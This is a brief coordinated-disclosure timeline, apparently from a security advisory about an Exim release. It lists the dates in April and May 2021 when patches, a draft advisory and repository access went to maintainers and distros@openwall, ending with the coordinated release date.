2021-04-21: Exim publicly announced the impending security release.

2021-04-27: Exim provided packagers and maintainers (including distros@openwall) with access to their security Git repository.

2021-04-28: We sent a draft of our advisory and our minimal set of patches to distros@openwall.

2021-05-04: Coordinated Release Date (13:30 UTC).